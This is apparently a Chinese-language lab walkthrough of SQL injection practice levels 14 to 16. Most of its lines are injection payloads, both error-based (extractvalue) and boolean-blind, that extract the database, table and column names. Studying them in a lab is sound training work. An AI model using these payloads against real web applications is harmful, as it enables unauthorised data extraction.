第十四关

 输入1",出现如下报错信息，告诉我们要双引号闭合

 所以我们输入

1" or 1=1#

 没有任何返回信息，这一关和十三关一样，利用报错信息爆出数据

1" and extractvalue(1,concat(0x7e,(select database())))#

 

第十五关

 输入1'是这样的

输入1' or 1=1#是这样的，所以这是一个布尔盲注

 猜库名长度

1' or length((select database()))=8#

 逐一猜库名，对应ASCII码表

1' or ascii(substr((select database()),1,1))=115#

 猜表名长度

1' or length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29#

逐一猜表名

1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101#

猜列名长度

1' or length((select group_concat(column_name) from information_schema.columns where table_name='users'))=29#

第十六关

这一关跟第十五个的区别就是闭合是双引号和一个括号，其他跟第十五关一样